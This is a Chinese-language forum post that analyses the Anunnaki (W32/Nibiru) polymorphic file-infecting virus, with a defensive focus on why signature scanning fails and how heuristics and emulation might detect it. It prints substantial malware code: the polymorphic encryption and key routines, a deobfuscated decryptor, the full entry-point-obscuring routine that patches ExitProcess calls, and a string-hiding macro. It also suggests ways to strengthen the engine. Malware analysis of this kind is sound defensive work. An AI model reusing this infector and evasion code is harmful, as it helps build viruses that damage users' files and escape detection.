    ope 采用的是随机密钥+滑动密钥方案,加密支持的指令为(xor / sub / add),滑动密钥支持的指令为(sub / add / xor),加密中ope维护一个poly_vars这样一个结构体,定义如下:
poly_vars struct       poly_ptr_code_base_va   dd?      ;   要加密数据的virtual-address      poly_ptr_code_base_raw    dd?      ;   要加密数据的raw-address      poly_ptr_decrypt_buf_va   dd?      ;          poly_code_size            dd?      ;   加密数据的size      poly_code_entry_offset    dd?      ;   加密数据的相对ep      poly_decryptor_base       dd?      ;   解密数据的地址(相对虚拟地址),指向virus_body,而不是开头的 Gen trash data.      poly_decryptor_base_va    dd?      ;   解密数据的virtual-address      poly_decryptor_size       dd?      ;   解密数据的size      poly_options            dd?      ;   poly 的设置信息      poly_garbage_level      dd?      ;   产生仿真无效指令的等级 (1-低 3-中 5-高)      poly_read_mem_base      dd?      ;          poly_read_mem_size      dd?      ;   
      poly_algo1                dd?      ;   加密算法定义(3种方案)      poly_algo2                dd?      ;   滑动密钥算法(2种方案)      poly_key                  dd?      ;   encrypt key      poly_slide_key            dd?      ;   slide key       poly_ptr_reg            dd?      ;   内存寻址时使用的register      poly_key_reg            dd?      ;   保存解密的密钥的register      poly_loop_reg             dd?      ;   循环计数      poly_store_reg            dd?      ;   mov_data_loop时有效      poly_junk_mem_reg         dd?      ;   下面几个都是产生仿真无效指令的结构,之前已经分析过      poly_junk_mem_pos         dd?      ;         poly_reg_usage            dd?      ;         poly_random_seed          dd?      ;         poly_garbler_flags      dd?      ;         poly_entry_offset         dd?      ;   
      poly_subroutines_count    dd    ?; 仅在产生sub_call时有效      poly_subroutines_table    db    1024 DUP(0)poly_vars ends
    根据poly_vars里面数据(poly_algo1、poly_algo2)配置,可产生不同的加密方案。
    整体的加密过程如下:
    步骤 1 :进行初始化工作,调用PolyInit(清0,,设置esp,ebp为使用的寄存器,初始化随机种子)
         2 :为algo1随机选择一个加密算法,algo1支持3种加密方式(xor/add/sub),为algo2随机选择一个加密算法,algo2支持2种加密方式(add/sub)
         3 :随机获得存储key寄存器,loop 寄存器,slide_key寄存器,同时产生一个32bit的key
         4 :加密病毒数据,由4部分组成(Gen trash data + emulatorinstruction + virus body + Gen trash data)
         5 :初始化生成解密的相关数据,如待解密数据地址等
         6 :在解密代码当前地址处插入仿真无效指令(包含随机的递归层数,所以从引擎设计角度讲该值不宜设置过大)
         7 :建立一个栈帧,push ebp / mov ebp,esp
         8 :同步骤6
         9 :产生一个loop结构,一个lea rx,key 指令
         10:同步骤6
         11:产生一个获得virus size给rx,可以通过 push imm / pop rx 、mov rx,imm 、lea rx,
         12: 同步骤6
         13:产生一个xor/add/sub ,key_reg 结构的指令,指向要解密的数据同key运算
         14:同步骤6
         15:产生一个(xor/add/sub key_reg,slide_key)结构的指令,slide_key 同 13步的中间结果运算
         16:同步骤6
         17:产生一个dec rx ,rx 为循环计数
         18:同步骤6
         19:产生一个loop
         20同步骤6         由于加解密算法的可逆关系,ope记录了加密时的操作顺序。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~             产生密钥的算法很简单:
       generate_key_32:         push ecx         push ebx         movecx,4                 generate_key_loop:          mov eax,0ffh - 10         call random          add eax,10         mov bl,al         rol ebx,8         dec ecx                         test ecx,ecx                  jnz generate_key_loop         mov eax,ebx         pop ebx         pop ecx         retn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~            采用的加密算法是在选择不同逻辑操作的同时,配合滑动密钥,下面给出加解密的公式:            X-- > 原始数据            Y-- > 加密后的数据            K-- > 32bit的密钥            S-- > 32bit的滑动密钥            L1 -- > 加密逻辑1(sub / add / xor)            L2 -- > 加密逻辑2 (sub / add)
            最终的加解密公式:            Y1 = L1(X,K);            Y= L2(Y1,S);
代码如下:;key值保存在eax中
crypt_data:                               pushad        mov edi,dword ptr .poly_ptr_code_base_raw       mov ecx,dword ptr .poly_code_size       mov ebx,dword ptr .poly_slide_key            crypt_loop:          cmp dword ptr .poly_algo1,1       je crypt_algo1             cmp dword ptr .poly_algo1,2       je crypt_algo2       xor dword ptr ,eax       jmp crypt_algo_c          crypt_algo1:          sub dword ptr ,eax        jmp crypt_algo_c          crypt_algo2:              add dword ptr ,eax         crypt_algo_c:                mov dword ptr ,eax ; save eax       cmp dword ptr .poly_algo2,1       je crypt_slide1             cmp dword ptr .poly_algo2,2       je crypt_slide2             xor eax,ebx       jmp crypt_slide_c          crypt_slide1:          sub eax,ebx       jmp crypt_slide_c          crypt_slide2:          add eax,ebxcrypt_slide_c:             inc edi       loop crypt_loop       mov dword ptr ,eax ; save eax        popad        retn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      具体的poly engine实现可参考ope src,为了便于分析,现将去除掉junk code后decryptor代码列出:00A02D70    55            push ebp00A02D71    8BEC            mov ebp,esp00A02D73    E8 00000000   call 00A02D7800A02D78    5E            pop esi00A02D79    81C6 34B2BFFF   add esi,FFBFB234         00A02D7F    81C6 54204000   add esi,402054             ;获得解密数据基址00A02D85    E8 00000000   call 00A02D8A00A02D8A    59            pop ecx00A02D8B    81C1 22B2BFFF   add ecx,FFBFB22200A02D91    81C1 10000000   add ecx,1000A02D97    BA 5D0B0000   mov edx,0B5D00A02D9C    8B3E            mov edi,dword ptr ds:00A02D9E    8939            mov dword ptr ds:,edi00A02DA0    83C6 04         add esi,400A02DA3    83C1 04         add ecx,400A02DA6    4A            dec edx00A02DA7    85D2            test edx,edx00A02DA9^ 75 F1         jnz short 00A02D9C         ; 分段解密00A02DAB    8D0D B0BF804A   lea ecx,dword ptr ds:00A02DB1    E8 00000000   call 00A02DB600A02DB6    5E            pop esi00A02DB7    81C6 F6B1BFFF   add esi,FFBFB1F600A02DBD    81C6 C34D4000   add esi,404DC300A02DC3    68 702D0000   push 2D70                   ; 0x2D70 ->virus size00A02DC8    5A            pop edx                     ; edx - > virus size00A02DC9    010E            add dword ptr ds:,ecx; algo1 00A02DCB    81E9 3B4390CD   sub ecx,CD90433B            ; 利用slide_key,产生一个新的key00A02DD1    4E            dec esi                     ; 去掉了junk code后的decryptor代码清晰,实际效果为decryptor完全混淆00A02DD2    4A            dec edx                     ; 很难辨认00A02DD3    85D2            test edx,edx00A02DD5^ 75 F2         jnz short 00A02DC900A02DD7    E8 00000000   call 00A02DDC00A02DDC    59            pop ecx00A02DDD    81C1 D0B1BFFF   add ecx,FFBFB1D000A02DE3    81C1 EC0E0000   add ecx,0EEC00A02DE9    51            push ecx00A02DEA    C3            retn
2.6 EPO technology实现
      Anunnaki在EPO方面使用稳妥的技术,解析被感染文件的IAT,查找ExitProcess/exit/_exit函数,然后patch掉,该方法使得跟踪入口的emulator一定要等到程序退出时才会发现一些蛛丝马迹,当然也可以配合经验,检测前先对可疑的call进行分析,最大程度的找出exit点。
   执行步骤:    1 定位被感染文件的options_header,检测是否有import_table   2 检测是否导入kernel32.dll msvcrt.dll   3 校验orignalFThunk,FirstThunk   4 检测导入APIs的名字是否有ExitProcess/exit/_exit,记录偏移地址   5 搜索code节,查找ff 15/ff 25 ,匹配call/jmp处的偏移地址   6 按配置,1 -- 相对call 的方式,0 -- 绝对call 的方式,patch掉原APIs调用,换成virus的ep。
Anunnaki EPO code:00401226       /$60                     pushad00401227       |.83EC 18                  sub esp,180040122A       |.8BF4                     mov esi,esp0040122C       |.8BFE                     mov edi,esi0040122E       |.33C0                     xor eax,eax00401230       |.B9 06000000            mov ecx,600401235       |.F3:AB                  rep stos dword ptr es:00401237       |.8B45 78                  mov eax,dword ptr ss:      ;pe_opt_header0040123A       |.8B40 68                  mov eax,dword ptr ds:      ;import_table0040123D       |.85C0                     test eax,eax0040123F       |.0F84 B8000000            je Anunnaki.004012FD00401245       |.E8 46010000            call <Anunnaki.RvaToRaw>0040124A       |.8BD0                     mov edx,eax0040124C       |>837A 10 00               cmp dword ptr ds:,000401250       |.77 05                  ja short <Anunnaki.check_dll1>00401252       |.E9 86000000            jmp Anunnaki.004012DD00401257       |>8B42 0C                  mov eax,dword ptr ds:0040125A       |.E8 31010000            call <Anunnaki.RvaToRaw>0040125F       |.E8 A5FFFFFF            call <Anunnaki.EPO_to_lower>         ;为后面的比较方面,转换成小写00401264       |.8138 6B65726E            cmp dword ptr ds:,6E72656B      ;'nrek'0040126A       |.74 0D                  je short Anunnaki.00401279         ;'cvsm'0040126C       |.8138 6D737663            cmp dword ptr ds:,6376736D00401272       |.74 05                  je short Anunnaki.0040127900401274       |>83C2 14                  add edx,14                           ;size of directory entry00401277       |.^ EB D3                  jmp short Anunnaki.0040124C00401279       |>833A 00                  cmp dword ptr ds:,0             ;orignalFThunk0040127C       |.77 05                  ja short Anunnaki.004012830040127E       |.8B42 10                  mov eax,dword ptr ds:00401281       |.EB 02                  jmp short Anunnaki.0040128500401283       |>8B02                     mov eax,dword ptr ds:00401285       |>E8 06010000            call <Anunnaki.RvaToRaw>0040128A       |.8BD8                     mov ebx,eax0040128C       |.33C9                     xor ecx,ecx0040128E       |>833B 00                  cmp dword ptr ds:,000401291       |.^ 74 E1                  je short Anunnaki.0040127400401293       |.8B03                     mov eax,dword ptr ds:00401295       |.E8 F6000000            call <Anunnaki.RvaToRaw>0040129A       |.83C0 02                  add eax,20040129D       |.8138 65786974            cmp dword ptr ds:,74697865      ;’tixe‘004012A3       |.74 21                  je short Anunnaki.004012C6004012A5       |.8138 5F657869            cmp dword ptr ds:,6978655F      ;‘ixe_’004012AB       |.74 19                  je short Anunnaki.004012C6004012AD       |.8138 45786974            cmp dword ptr ds:,74697845      ;’tixE‘004012B3       |.75 0B                  jnz short Anunnaki.004012C0004012B5       |.8178 04 50726F63         cmp dword ptr ds:,636F7250    ;’corP‘004012BC       |.75 02                  jnz short Anunnaki.004012C0004012BE       |.EB 06                  jmp short Anunnaki.004012C6004012C0       |>41                     inc ecx004012C1       |.83C3 04                  add ebx,4004012C4       |.^ EB C8                  jmp short Anunnaki.0040128E004012C6       |>50                     push eax004012C7       |.8B42 10                  mov eax,dword ptr ds:004012CA       |.8D0488                   lea eax,dword ptr ds:004012CD       |.53                     push ebx004012CE       |.8B5D 78                  mov ebx,dword ptr ss:      ;pe_opt_header004012D1       |.0343 1C                  add eax,dword ptr ds:      ;add imagebase004012D4       |.5B                     pop ebx004012D5       |.83C6 04                  add esi,4004012D8       |.8906                     mov dword ptr ds:,eax004012DA       |.58                     pop eax004012DB       |.^ EB E3                  jmp short Anunnaki.004012C0          ;搜索代码节,0xff0x15,0xff0x25004012DD       |>8B5D 70                  mov ebx,dword ptr ss:      ;pe_sect_headers004012E0       |.8B43 14                  mov eax,dword ptr ds:      ;PointerToRawData004012E3       |.0345 48                  add eax,dword ptr ss:      ;MappedImage004012E6       |.8B4B 10                  mov ecx,dword ptr ds:      ;SizeOfRawData004012E9       |>66:8138 FF15             cmp word ptr ds:,15FF004012EE       |.74 12                  je short Anunnaki.00401302004012F0       |.66:8138 FF25             cmp word ptr ds:,25FF004012F5       |.74 0B                  je short Anunnaki.00401302004012F7       |>40                     inc eax004012F8       |.49                     dec ecx004012F9       |.85C9                     test ecx,ecx004012FB       |.^ 75 EC                  jnz short Anunnaki.004012E9004012FD       |>83C4 18                  add esp,1800401300       |.61                     popad00401301       |.C3                     retn00401302       |>50                     push eax00401303       |.8B40 02                  mov eax,dword ptr ds:00401306       |.56                     push esi00401307       |>833E 00                  /cmp dword ptr ds:,00040130A       |.74 09                  |je short Anunnaki.004013150040130C       |.3B06                     |cmp eax,dword ptr ds:0040130E       |.74 09                  |je short Anunnaki.0040131900401310       |.83EE 04                  |sub esi,400401313       |.^ EB F2                  \jmp short Anunnaki.0040130700401315       |>5E                     pop esi00401316       |.58                     pop eax00401317       |.^ EB DE                  jmp short Anunnaki.004012F700401319       |>83BD 84000000 00         cmp dword ptr ss:,0          ; 比较patch的方式00401320       |.74 02                  je short Anunnaki.00401324         ; 1 -- 相对call 的方式00401322       |.EB 27                  jmp short Anunnaki.0040134B          ; 0 -- 绝对call 的方式00401324 <epo_relative_patch>|>8B4424 04mov eax,dword ptr ss:         ; 要patch的地址给eax,即ff 15 /ff 25 的地址00401328       |.E8 68000000            call Anunnaki.00401395               ; RawToVa0040132D       |.85C0                     test eax,eax                         0040132F       |.^ 74 E4                  je short Anunnaki.0040131500401331       |.FF85 80000000            inc dword ptr ss:            ; number_of_epo_patches 加1   00401337       |.8B5D 7C                  mov ebx,dword ptr ss:      ; decryptor_ep_VA - > eax0040133A       |.2BD8                     sub ebx,eax                        ; 得到相对偏移0040133C       |.83EB 05                  sub ebx,5                            0040133F       |.8B4424 04                mov eax,dword ptr ss:                           ; 得到ff 15/ff 25 的地址偏移00401343       |.C600 E8                  mov byte ptr ds:,0E8            ; 写入,产生一个call 00401346       |.40                     inc eax                              ; 跳过0xe800401347       |.8918                     mov dword ptr ds:,ebx         ; 产生一个call offset00401349       |.^ EB CA                  jmp short Anunnaki.004013150040134B <epo_absolute_patch>|>8B4424 04mov eax,dword ptr ss:         ; 得到ff 15/ff 25 的地址偏移0040134F       |.8B5D 7C                  mov ebx,dword ptr ss:      ; decryptor_ep_VA - > ebx00401352       |.8958 02                  mov dword ptr ds:,ebx         ; 跳过 ff 15/ff 25,2个字节写入绝对偏移的地址      00401355       |.FF85 80000000            inc dword ptr ss:0040135B       \.^ EB B8                  jmp short Anunnaki.004013150040135D      .53                     push ebx0040135E      .51                     push ecx0040135F      .52                     push edx00401360      .8B4D 78                  mov ecx,dword ptr ss:00401363      .2B41 1C                  sub eax,dword ptr ds:00401366       />8B5D 70                  mov ebx,dword ptr ss:00401369       |.8B4D 74                  mov ecx,dword ptr ss:0040136C       |>8B53 0C                  /mov edx,dword ptr ds:0040136F       |.3BC2                     |cmp eax,edx00401371       |.72 0C                  |jb short Anunnaki.0040137F00401373       |.0353 08                  |add edx,dword ptr ds:00401376       |.3BC2                     |cmp eax,edx00401378       |.72 09                  |jb short Anunnaki.004013830040137A       |.83C3 28                  |add ebx,280040137D       |.^ E2 ED                  \loopd short Anunnaki.0040136C0040137F       |>33C0                     xor eax,eax00401381       |.EB 09                  jmp short Anunnaki.0040138C00401383       |>2B43 0C                  sub eax,dword ptr ds:00401386       |.0343 14                  add eax,dword ptr ds:00401389       |.0345 48                  add eax,dword ptr ss:0040138C       |>5A                     pop edx0040138D       |.59                     pop ecx0040138E       |.5B                     pop ebx0040138F       |.C3                     retn

Hmily 发表于 2010-3-24 12:57

2.7 感染后文件对比:
    对同一个文件(1.exe/2.exe),分别进行一次感染,对比情况如下:    1.exe)     0000043038 20 00 00 00 00 00 00 80 00 45 78 69 74 50 728 .......ExitPr    000004406F 63 65 73 73 00 6B 65 72 6E 65 6C 33 32 2E 64ocess.kernel32.d-------- 下面是感染的部分      ---------------     000004506C 6C 00 00 7F FE 49 48 0E BA A1 EE 45 BC 63 D0ll..蘒H
骸頔糲?    0000046087 7D 09 E7 91 C0 10 EB 22 E4 17 B0 EF 51 12 7E噠.鐟???帮Q~    0000047091 2A 9B 10 FD B6 92 83 C8 FB DE BC FA 69 9E 5C??拑塞藜鷌瀄    00000480B2 A3 B4 58 E6 70 4B 00 E6 5D 95 6D 6A D5 5B 9F玻碭鎝K.鎉昺j誟?    00000490AD D6 B7 B0 3D 8F 52 09 3F 39 9D 88 5E 00 8E DA钒=廟.?9潏^.広    000004A006 78 7C 75 A2 D6 FB 6C 16 07 E1 46 05 66 0C D5x|u⒅鹟酕f.?    000004B040 CD 48 1E C8 2C 26 CF EC CA AF 41 81 32 84 4B@虷‑?&响石A?凨    000004C04B F8 09 E6 CC 33 11 12 41 10 34 A9 FA 67 61 40K?嫣3A4ga@    000004D007 5B F3 4F 59 F2 05 14 B4 F8 9B 09 9E 9C 8B 66[驩Y?带?灉媐    000004E019 14 4F F6 B5 A7 82 80 29 4D 7B 84 63 16 A9 F7O龅)M{刢    000004F021 08 07 2F F3 D1 9F 3D 4D 74 1D A9 C1 F5 F1 18!/笱?Mt┝躐    00000500DA F1 6C 2F 53 52 66 B7 1F 64 94 14 87 5D 2F A5隈l/SRf?d?嘳/?    00000510AE 3B 71 B0 5B DB 73 97 83 B0 F4 46 C8 ED D9 E1?q癧踫梼棒F软籴    000005208D 2D 8A 14 72 D8 1E 76 E4 14 DD 0E 84 C4 CC 3B??r?v??勀?    000005303C 88 AC D7 71 AA 62 C9 9F 90 3A B6 18 37 03 6B<埇譹猙蔁??7 k     0000054097 F2 62 60 83 1E 47 08 B3 29 2E DA 24 0D A6 F7楎b`?G?.?.    000005508D BB 82 F9 13 44 3F 8A BA D3 6E CD 03 8F 55 C2嵒債D?姾觧?廢?    0000056087 1E 5C 19 E6 E8 BB 97 74 D8 AD 3A D8 E1 5D 04?\骅粭t丨:蒯]      .... 省略    2.exe)    0000043038 20 00 00 00 00 00 00 80 00 45 78 69 74 50 728 .......ExitPr    000004406F 63 65 73 73 00 6B 65 72 6E 65 6C 33 32 2E 64ocess.kernel32.d    ------------- 下面是感染的部分      ---------------              000004506C 6C 00 00 36 07 F1 91 71 5B 15 E7 A5 25 0D 2Bll..6駪q[绁%.+    00000460CD B8 B2 7A 73 21 D1 8A 5B B5 7B A8 69 64 97 E7透瞶s!褗[祘╥d楃    000004705A 44 F1 77 26 3F 50 6C 22 9F 37 9C DC 13 02 8FZD駑&?Pl"?溰?    00000480B6 22 44 4A 3A AC 47 C5 DB B0 66 72 09 8B 70 09?DJ:珿袍癴r.媝.    0000049022 DA 8E B3 A6 94 30 17 15 CC EC 5F 92 18 F3 B0"趲肠?天_?蟀    000004A053 1F 3C 6B 81 53 EE 27 E5 86 D4 8D EE 6E D3 FFS <k丼?鍐詬頽?    000004B0CB AD F3 6D 6C C3 5F A7 1B B9 E6 CB 21 BB 7F 64谁髆l胈?规??d    000004C047 1A D5 46 18 11 EE 22 A5 EB 54 39 44 52 26 E3G誇?ルT9DR&?    000004D0DA 02 5C F7 5C 91 92 68 F1 81 B1 F8 49 B2 8D 9F?\鱘憭h駚兵I矋?    000004E0FA ED 9E 2B CF 69 D1 63 E1 43 2F 78 37 4C 79 39?蟟裞酑/x7Ly9    000004F08F 4B FE 16 19 95 24 09 F8 9C 95 DE 19 F6 36 D4廗??.鴾曓??    00000500AD D1 4D 08 C0 10 9B 15 35 BA 57 7A FB AD 2A 3EM??5篧z*>    0000051003 23 3B 08 AD 30 8F 3C A3 D9 3B 74 DE D3 33 A6#;??Y;t抻3?     0000052097 EC 78 05 CB 66 6F E6 33 14 51 EC 6E 12 FC 43楈x薴o?Q靚麮    00000530F8 62 D7 F5 01 F8 3F 90 24 B9 F0 AE A8 3C E3 57鴅柞??桂<鉝    0000054092 0C A1 36 60 CC 7D 14 B3 46 12 B9 15 8E C9 13??`蘿矲?幧    00000550D5 4E 74 31 B5 89 74 81 08 2A 45 94 FD 5E 3A 00誑t1祲t?*E旪^:.    00000560CE C9 B5 83 C6 CE AD 8C 19 4E 8E 7C 35 79 71 BE紊祪莆瓕N巪5yq?    .... 省略    感染后的文件,不存在连续2字节相同的数据,这样通配符匹配、特征匹配方案全部失效。
.防御技术的困境
1.特征码的失效
   对有简单加密多态类的感染式病毒,最好的特征检测方式是,基于通配符匹配和不相等字符数匹配方案,而且随着特征检测技术的研究的深入,也已经不再是单纯的特征匹配,针对早期的加密多态,配合一个反汇编器,利用skeleton scanning 原理先去除掉无效指令,再针对编写较为薄弱的decryptor继续通配符扫描一般都可以有所斩获。
   但对于Anunnaki这样的复杂感染病毒,在分析后可以确定,利用特征码是不能检测的,配合反汇编器也不行,因为decryptor的混淆做的很好,即便去除了大部分junk code,其余可变得关键代码一样无太多规律可寻。
2.关于主动防御技术
    主动防御技术应该是最好的一种防御手段了,虽然从DOS时代就已经有了,但发展到今天仍然很难普及,原因在于,用户不可能都是熟练于网络安全的操作人员,无法去分辨隐藏于安全操作后面的种种恶意手段,因此,主动防御是成也萧何败也萧何,用的好的“百毒不侵",用不好的繁琐郁闷。因此摒弃白名单智能化的HIPS应该是研究的方向了。
3.关于“云”安全技术
    抱歉,对待这一技术在anti virus方面的应用,我始终谨小慎微,或许我根本就不理解“云”安全的应用,所以在这里谈论这点似乎已经与技术无关了。有一点不可否认的是,“云“安全技术从用户角度来看,它带了更多的防护手段,无论它后台使用了什么技术(并行处理、网格计算,未知病毒行为判断等等吧),对用户来说,它终究是体现了av厂商的努力同时也带来了新的防护体验。
    作为coder,我却固执的认为计算机安全的终极对抗是客户端的防护,也就是防护能力与检测能力,以目前的环境来说,防护大于检测。它不需要新的概念,只要你告诉用户,运行这个程序的风险是什么,仅此这一点就需要更多的安全研究人员继续努力,所以可以想象,一个复杂感染病毒流行时,“云”安全技术能做到是什么。有意思的是,在大力宣传”云“安全技术的厂商中仅有Panda能检测来Anunnaki,但确是报Suspicious file,是启发式检测出来的。
4.关于启发式检测技术
    启发式检测技术是对特征检测的一种强有力补充,在木马、后门,蠕虫泛滥的今天,设计一款优秀的启发式扫描器其复杂程度已经非常高了,以往的那种基于程序特异性的,权值判断技术的启发式扫描器在今天的环境中已经无法继续应用了。
    启发式检测技术最大的难点不是如何检测出所有的病毒,而是如何把握”平衡“,有着较高的病毒检出率,又保持很低的误报是很难做到的。同样启发式对于误报的处理也非常困难,它不像是特征检测,作废误报特征,重新提取即可。当有误报发生时,启发式的检测规则要重新调整,同时兼顾以往该规则对同类病毒木马的检出情况,常常会有,虽然避免了误报,但导致以往能检出的病毒木马失效的情况,这时还要继续分析,提取新的规则,保证不误报,还能达到以往检测效果为止。或直到证明该规则是不可靠规则,作废为止。
   基于对未知病毒防御的独特效果及自动化病毒特征提取方向上的需求,启发式检测技术作为反病毒研究领域里的高端技术仍然会不断的加强。
.寻找复杂病毒技术的漏洞
   要想利用检测技术完全的检测出复杂病毒(仅指加密、多态、变形)具体家族,具体变种,很遗憾的说是非常困难的,虽然反病毒技术之前曾经是精确的检测技术,因为这牵扯到检测出后如何清除病毒及修复被感染文件的问题。当这一问题被放宽松后就是如何最大程度的识别恶意程序或风险程序,哪怕是不准确的家族名称,实际情况也确实如此,最为优秀的AVP(卡巴斯基)也会对新产生的病毒误报家族或是变种。
    所以对复杂病毒的检测,不一定要等到Payload执行(av-vm要做到payload执行,得跳过重重障碍),而是在执行一部分时(如解密部分,或执行时堆栈出现有些固有信息)就可予以报警。下面将分析Anunnaki执行payload前的可作为检测的信息。
1.重定位手段
    重定位是病毒编写中不可缺少的手段,每一种重定位手段都需要记录,影响检测的就是与壳的执行代码会有相似的地方,所以重定位记录需配合其他的有效信息来验证是否包含恶意代码片段。
    Anunnaki的重定位code如下:    call get_ep    ...... ;所有病毒工作,如get kernel base ,get APIs ,check files ,infect filesget_ep:    mov eax,dword ptr     sub eax,5     retn
    同经典的Delta offset方式不同,不过对能进行入口跟踪的扫描器来说这很容易识别,对进行重定位的code,启发式扫描器应该不局限于某个获取模式,而是应该从获要分析的代码中有获得base address的行为来入手,这样才能一劳永逸。
2 跨节区跳转
    跨节区跳转是壳常用的一个手段,不过作为感染式病毒,也从来不缺少这行为点,从重定位一样,也是启发式扫描器要捕获的行为点。
3.怪异的macros
    前面曾提到,Anunnaki为了隐藏stack中的字符串,将字符拆成若个32bit的数值压入堆栈。
    如要获得一个APIs name ,通过调用宏
    push_sz <ExitProcess\000>,编译后    .text:00401108 6A 00          push    0    .text:0040110A 68 65 73 73 00 push    737365h        .text:0040110F 68 50 72 6F 63 push    636F7250h    .text:00401114 68 45 78 69 74 push    74697845h       .text:00401119 54             push    esp         
    此时esp 指向的字符串为"ExitProcess",此时关联的寄存器一定是esp,所以对push esp后,堆栈的情况要进行分析,如果esp指向为敏感的APIs,则该情况要记录。Anunnaki的实现方式如下:push_au      macro   au, fstr       local pvar, cnt, es, cn, idx1, idx2, len, ln       local hex, dcm, hid
       es = 0       len = 0       irpcc1, <fstr>         len = len+1         if es eq 1         if (("&c1" ge "0") and ("&c1" le "9")) or ("&c1" eq "x") or("&c1" eq "X")             len = len-3         else             len = len-1         endif         es = 0         elseif "&c1" eq "\"         es = 1         endif       endm
       idx2 = len       ln = (len shr 2) + 1       if au eq 1         ln = (len shr 1) + 1       endif
       rept ln         pvar = 0         cnt= 0         hex= 0         dcm= 0         hid= 0         cn   = 0         es   = 0         idx= 0         irpc   c, <fstr>         ;;process escape sequences         if   ("&c" eq "n") and (es eq 1)               ;;lf            cn = 10         elseif ("&c" eq "r") and (es eq 1)                  ;;cr         cn = 13         elseif ("&c" eq "t") and (es eq 1)                     ;;tab         cn = 9         elseif (("&c" eq "x") or("&c" eq "X")) and (es eq 1)    ;;hex number         hex = 1         cn= 0         es= 0         elseif (("&c" ge "0") and ("&c" le "9")) and \                ((es eq 1) or (dcm eq 1))                   ;;decimal number         if dcm eq 0             cn = 0         endif         dcm = 1         cn = cn*10 + "&c" - "0"         if cn ge 100h             .err "push_ua: val out of range \YYY"         endif         hid = hid+1         es = 0         ;;process hex digits         elseif hex eq 1         if   ("&c" ge "A") and ("&c" le "F")             cn = (cn shl (4*hid)) + "&c" - "A" + 0ah         elseif ("&c" ge "a") and ("&c" le "f")             cn = (cn shl (4*hid)) + "&c" - "a" + 0ah         elseif ("&c" ge "0") and ("&c" le "9")             cn = (cn shl (4*hid)) + "&c" - "0"         else             .err "push_ua: use \XYY or \xYY (Y can be 0-9,a-f,A-F)"         endif         hid = hid+1         elseif (es eq 1) and ("&c" ne "\")         .err "push_ua: unknown speciefer \&c"         else         cn = "&c"         endif
         if (("&c" ne "\") or (es ne 0)) and ((hex eq 0) or (hid ge 2)) and ((dcm eq 0) or (hid ge 3))         hex= 0         dcm= 0         hid= 0         es   = 0         pvar = pvar + (cn shl (8*cnt))          cnt= cnt+1+(au)         if cnt eq 4             if ((idx gt idx2) and (au eq 0)) or ((idx ge idx2) and (au eq 1))               exitm             endif             pvar = 0             cnt= 0         endif         idx= idx+1         elseif ((hex eq 0) or (hid ge 2)) and ((dcm eq 0) or (hid ge 3))         es = 1         endif
         endm   ;;internal IRPC
         if idx ge idx2         push pvar         endif         idx2 = idx2-2         if au eq 0         idx2 = idx2-2         endif       endm      ;;external REPTendm
4.EPO跟踪
    EPO的跟踪非常重要,在判断一个程序是否有Malicious code中,这一点几乎是决定因素,因为它是作为一个承前启后的关联所在。    Anunnaki patch了ExitProcess函数,这是一个稳妥的方式,但因为缺少变化,是可以被检测出来的。
    我们编写一个scape-goat程序:
    .586    .model flat , stdcall    include kernel32.inc    includelib kernel32.lib.code
START:     invoke ExitProcess,0end START
    让Anunnaki去感染它,效果如下:
    原始程序:    00401000       6A 00             push 0                                 ; /ExitCode = 000401002   \.E8 01000000       call <jmp.&kernel32.ExitProcess>         ; \ExitProcess00401007       CC                int300401008    .- FF25 00204000   jmp dword ptr ds:[<&kernel32.ExitProcess>;kernel32.ExitProcess
    感染后的程序:    00401000   $6A 00             push 000401002   .E8 01000000       call s_g.0040100800401007   .CC                int300401008   $E8 37360000       call s_g.00404644   --- > 一个跨段跳转
   所以对一个中等强度的启发式扫描器,在不考虑误报的情况下来说以上的信息足够多了。
   用AV产品检测一下被感染的scape-goat,遗憾的是国内外几十个产品仅有以下产品能发现,还包括OEM引擎在内。      
   AntiVir   --TR/Dropper.Gen   Authentium--W32/Zbot.1!Generic (Possible)   AVG         --BackDoor.PoisonIvy.AD   F-Prot      --W32/Zbot.1!Generic   Forti       --Suspicious   panda       --Suspicious file   Sophos      --W32/Nibiru-A   VirusBuster --Win32.Agent.PKCD
   再重新感染一个复杂一点的应用程序,则只剩下两个产品能发现   Sophos      --W32/Nibiru-A   VirusBuster --Win32.Agent.PKCD
   感叹一下sophos,它的分析速度非常快,截止09-11-05提供检测方案,并且精准的报出了病毒名称,W32/Nibiru-A就是Anunnaki目前版本的病毒名称。同样VirusBuster用自己的启发式扫描器也检查出了病毒行为。
   相比来说,Anunnaki的epo还是很温柔的,如果随机patch APIs,再配合Z0MBiE 的code intergration中的一些思路,那绝对会让人疯掉,除了av-vm的绝对强悍外就只能寄希望于主动防御技术来进行防护而不是检测了。   
5.polymorphic的不足
    这里谈的polymorphic不足仅是我个人的一些想法,如有不合理的地方,还望指正。
    1 ope 的最强大的地方是仿真无效指令的生成,但作为多态引擎的级别,可以进一步加强,如对decryptor结构化处理,以此来做到指令乱序,因为针对anti-emulator and anti-heuristic方面,最薄弱的就是decryptor。
    2 加解密方案上,目前仅使用了key ,slide_key ,及随机多重加密方式,较为简单,如果加密方面足够复杂,也就可以利用结构化处理,做到指令乱序,当然ope更多的是带了有趣的技术(比如rand call APIs的思路)而不是堆砌一堆复杂无趣的东西。
    3 其实没有了,ope已经足够Offensive.
   6.关于检测
    还有很多这样的地方可以寻找出来,作为检测的依据,以aver的角度来说,一个不太合适的比喻是,“越是反抗,越是暴露”
.启发式技术检测Anunnaki
    单纯的静态分析是不容易检测Anunnaki,需要配合一些仿真手段,这里的仿真器是配合检测使用的,不是av-vm,那才是一个完备的虚拟检测环境。检测的原理就是前面提到的那些Anunnaki出现的特性,当然作为启发式检测需要从更抽象的方面来获得检测信息,而不止已经出现的技术特点。
1.构造仿真器
    为了完成检测,需要一个仿真cpu,运行时的内存区,栈区。    寄存器的索引    enum E_Registers_Index    {            E_EAX = 0,E_ECX,E_EDX,E_EBX,E_ESP,E_EBP,E_ESI,E_EDI    }
    标志寄存器的索引    enum E_Flag_Index    { E_CF = 0 ,E_ZF,E_SF,E_OF,E_DF,E_PF,E_AF,E_TF,E_IF}
